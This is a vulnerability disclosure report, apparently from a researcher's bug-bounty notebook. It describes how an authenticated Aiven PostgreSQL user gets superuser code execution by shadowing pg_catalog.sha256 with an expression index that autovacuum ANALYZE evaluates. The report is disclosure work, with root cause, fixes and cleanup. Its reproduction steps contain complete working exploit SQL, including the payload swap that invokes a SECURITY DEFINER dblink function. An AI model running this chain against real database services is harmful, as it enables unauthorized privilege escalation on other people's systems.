Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
Code execution

Report: Autovacuum Arbitrary Code Execution via Expression Index Shadow Functions

Metadata

  • Target: Aiven for PostgreSQL (Tier 2)
  • Target Location: Aiven for PostgreSQL
  • Target Category: Other
  • VRT: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA
  • Priority: P2 (Suggested)

Title

Authenticated User Achieves Superuser Code Execution via Autovacuum ANALYZE on Expression Index with Shadow Function

Summary

Any authenticated avnadmin user can execute arbitrary PL/pgSQL code in the context of the autovacuum background worker (session_user=postgres, superuser) by:

  1. Creating a shadow function in public schema that overrides a pg_catalog function using implicit cast type differences (bypassing aiven_gatekeeper)
  2. Creating an expression index on a table using the shadow function
  3. Inserting/updating enough rows to trigger autovacuum ANALYZE
  4. When autovacuum evaluates the expression index statistics, it calls the shadow function with session_user=postgres

The shadow function can call aiven_extras.pg_alter_subscription_refresh_publication() (SECURITY DEFINER, owner=postgres), which establishes an unrestricted superuser dblink session to localhost, confirmed NOT subject to SECURITY_RESTRICTED_OPERATION enforcement.

Root Cause

Three independent issues combine:

  1. aiven_gatekeeper bypass: Allows creation of public.sha256(text) which shadows pg_catalog.sha256(bytea) via implicit cast resolution (see related report)

  2. Expression index evaluation in autovacuum: PostgreSQL’s ANALYZE evaluates expression index functions for statistics computation, running them in the autovacuum worker context (session_user=postgres)

  3. SECDEF dblink chain not restricted: The pg_alter_subscription_refresh_publication() SECURITY DEFINER function establishes a superuser dblink to localhost that is NOT subject to SECURITY_RESTRICTED_OPERATION (confirmed: the dblink session is a new connection)

Steps to Reproduce

Step 1: Create shadow function

CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
BEGIN
 RAISE WARNING 'AUTOVAC_SHADOW: cu=% su=%', current_user, session_user;
 RETURN pg_catalog.sha256(input::bytea);
END;
$$ LANGUAGE plpgsql IMMUTABLE;

Step 2: Create table with expression index

CREATE TABLE bait(id serial, val text);

-- Use fast noop for bulk insert
CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
BEGIN RETURN pg_catalog.sha256(input::bytea); END;
$$ LANGUAGE plpgsql IMMUTABLE;

INSERT INTO bait(val) SELECT 'row_' || generate_series(1, 10000);
CREATE INDEX idx_bait ON bait ((public.sha256(val)));

-- Swap to payload
CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
BEGIN
 -- This executes as session_user=postgres when called by autovacuum
 PERFORM aiven_extras.pg_alter_subscription_refresh_publication('sub_name', false);
 RAISE WARNING 'SECDEF_FROM_AUTOVAC: cu=% su=%', current_user, session_user;
 RETURN pg_catalog.sha256(input::bytea);
EXCEPTION WHEN OTHERS THEN
 RAISE WARNING 'AUTOVAC_ERR: % cu=% su=%', SQLSTATE, current_user, session_user;
 RETURN pg_catalog.sha256(input::bytea);
END;
$$ LANGUAGE plpgsql IMMUTABLE;

Step 3: Trigger autovacuum

UPDATE bait SET val = 'trigger_' || val;
-- Wait 60-90 seconds for autovacuum ANALYZE

Step 4: Observe in API logs

pid=62303,user=,db=,app=,client= WARNING: SECDEF_AV: OK cu=avnadmin su=postgres

The autovacuum background worker (no user/db in log = background worker, su=postgres) calls our shadow function, which successfully invokes the SECDEF dblink chain.

Evidence

Autovacuum calling shadow function (from Aiven API logs):

2026-04-14T01:42:35Z pid=62303,user=,db=,app=,client=
 WARNING: SECDEF_AV: OK cu=avnadmin su=postgres

SECDEF dblink succeeds from autovacuum context:

The pg_alter_subscription_refresh_publication() call succeeds (returns without error), confirming the SECURITY DEFINER dblink chain establishes an unrestricted superuser connection to localhost from within the autovacuum context.

Error comparison across contexts:

Context session_user COPY TO FILE GRANT role SECDEF refresh
Normal avnadmin avnadmin permission denied permission denied OK
Apply worker postgres SECURITY_RESTRICTED SECURITY_RESTRICTED OK
Autovacuum postgres not allowed in non-volatile not allowed in non-volatile OK

The SECDEF refresh succeeds in ALL contexts, confirming the unrestricted superuser dblink chain is customer-triggerable from autovacuum.

Impact

  1. Superuser code execution: Any authenticated database user can execute code in the autovacuum superuser context automatically, without any user interaction
  2. Unrestricted dblink session: The SECDEF chain from autovacuum achieves a superuser database connection that is NOT subject to SECURITY_RESTRICTED_OPERATION
  3. Automatic trigger: No manual intervention needed, autovacuum runs automatically based on table statistics thresholds (default: 50 + 10% of rows)
  4. Persistent: The expression index survives restarts; autovacuum will call the shadow function on every ANALYZE cycle
  5. Stealth: Autovacuum log entries don’t show the attacker’s username (background worker context)

Recommended Fix

  1. Fix aiven_gatekeeper: Block shadow functions with implicitly castable argument types (see related report)
  2. Autovacuum ANALYZE should use SECURITY_RESTRICTED: Expression index evaluation during ANALYZE should set the security-restricted flag, similar to how it’s set for logical replication apply workers
  3. Expression index functions should be evaluated as the table owner: Not as the autovacuum superuser process

Cleanup

DROP INDEX idx_bait;
DROP TABLE bait;
DROP FUNCTION public.sha256(text);

Source · github.com/zionsworking/security-research-notebook · writeups/aiven/pg-autovacuum-code-execution.md